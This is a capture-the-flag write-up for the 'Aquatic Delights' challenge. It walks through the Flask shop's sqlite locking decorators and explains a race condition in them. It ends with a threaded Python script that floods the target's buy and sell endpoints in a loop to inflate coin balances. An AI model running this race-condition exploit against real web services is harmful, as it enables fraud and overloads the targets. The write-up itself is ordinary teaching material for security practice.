./challenge/
βββ challenge
β βββ app.py
β βββ poc.py
β βββ poc.sh
β βββ static
β βββ templates
β βββ index.html
βββ docker-compose.yml
βββ Dockerfile
version: '3'
services:
shop:
build: .
container_name: aquatic_delights
ports:
- "8080:8080"
environment:
- FLAG=justCTF{here_should_be_a_flag}
restart: always
You can see flag in docker-compose.yml.
There are only few codes to check out. Let's see app.py code.
def database_connection(func):
def wrapper(self, *args, **kwargs):
with sqlite3.connect('/tmp/shop.db') as con:
if hasattr(self, 'locked') and self.locked:
return flask.jsonify({'result': 'NG', 'reason': 'Database is locked!'}), 500
try:
return func(self, con.cursor(), *args, **kwargs)
except Database.Error as ex:
return flask.jsonify({'result': 'NG', 'reason': str(ex)}), 500
except:
return flask.abort(500, 'Something went wrong')
return wrapper
def database_lock(func):
def wrapper(self, *args, **kwargs):
try:
self.locked = True
result = func(self, *args, **kwargs)
except:
raise
finally:
self.locked = False
return result
return wrapper
class Database(object):
@database_connection
def __init__(self, cur):
self.just_coins = 10
cur.execute("DROP TABLE IF EXISTS shop")
cur.execute("CREATE TABLE shop(name, price, available)")
shop_data = [
('Catfish', 1, 10),
('Rainbow Guppy', 5, 5),
('Koi Carp', 20, 3),
('Royal Angelfish', 100, 1),
('Flagfish', 1337, 1)
]
cur.executemany("INSERT INTO shop(name, price, available) VALUES(?, ?, ?)", shop_data)
cur.execute("DROP TABLE IF EXISTS inventory")
cur.execute("CREATE TABLE inventory(name, available)")
cur.executemany("INSERT INTO inventory(name, available) VALUES(?, ?)",
[
(name, 0) for name, _, _ in shop_data
]
)
Before starting service, this chall build database. The part of this code that stands out is "database_lock" function. The purpose of this function is to prevent race condition attacks on the database. When I tested it locally, it actually work appropriately.
There are no logical problems with the rest of the code. At here, I thought this is not about logical bug or using vulnerability problem. No logical bug and no vulnerability exists, then what is the point?
[ Point ]
def database_connection(func):
def wrapper(self, *args, **kwargs):
with sqlite3.connect('/tmp/shop.db') as con:
if hasattr(self, 'locked') and self.locked:
return flask.jsonify({'result': 'NG', 'reason': 'Database is locked!'}), 500
try:
return func(self, con.cursor(), *args, **kwargs)
except Database.Error as ex:
return flask.jsonify({'result': 'NG', 'reason': str(ex)}), 500
except:
return flask.abort(500, 'Something went wrong')
return wrapper
def database_lock(func):
def wrapper(self, *args, **kwargs):
try:
self.locked = True
result = func(self, *args, **kwargs)
except:
raise
finally:
self.locked = False
return result
return wrapper
We should really focus on this code. A tiny vulnerability(?) exists in there.
I guess there is a very short term between where it checks for self.locked. We are going to race condition by using this 'short term'.
For example, if I buy 'CatFish' one time and then sell it three times in very short term, I can get more Coins then I bought.
+) The exact reason why the race condition happend.
Exploit Code
There is a nice code on Internet, so I introduce it.
import requests
from threading import Thread
#host = "http://localhost:8080"
host = "http://lcy5kjz4es4502p3acpac6czn5t4gs.aquatic-sgp1.web.jctf.pro"
def buy(name, amount):
try:
return requests.post(
host + "/api/buy", json={"name": name, "amount": amount}
).json()
except:
pass
def sell(name, amount):
try:
return requests.post(
host + "/api/sell", json={"name": name, "amount": amount}
).json()
except:
pass
def main():
# tune this according to current total coins
cur = ("Catfish", 10)
# cur = ("Rainbow Guppy", 3)
# cur = ("Koi Carp", 8)
#cur = ("Royal Angelfish", 4)
def bb():
r = buy(*cur)
if r is not None and "justCoins" in r:
tot = r["justCoins"]
for name, d in r["data"].items():
tot += d["price"] * d["eat"]
print("b", r["justCoins"], tot)
def ss():
r = sell(*cur)
if r is not None and "justCoins" in r:
tot = r["justCoins"]
for name, d in r["data"].items():
tot += d["price"] * d["eat"]
print("s", r["justCoins"], tot)
while True:
Thread(target=bb).start()
Thread(target=ss).start()
Thread(target=ss).start()
Thread(target=ss).start()
main()
It took a really long shot, but it worked!
Result
Now we can buy flag!
[ Note ]
If you can't find logical bug and vulnerability, and service uses database importantly, think about "Race Condition Attack".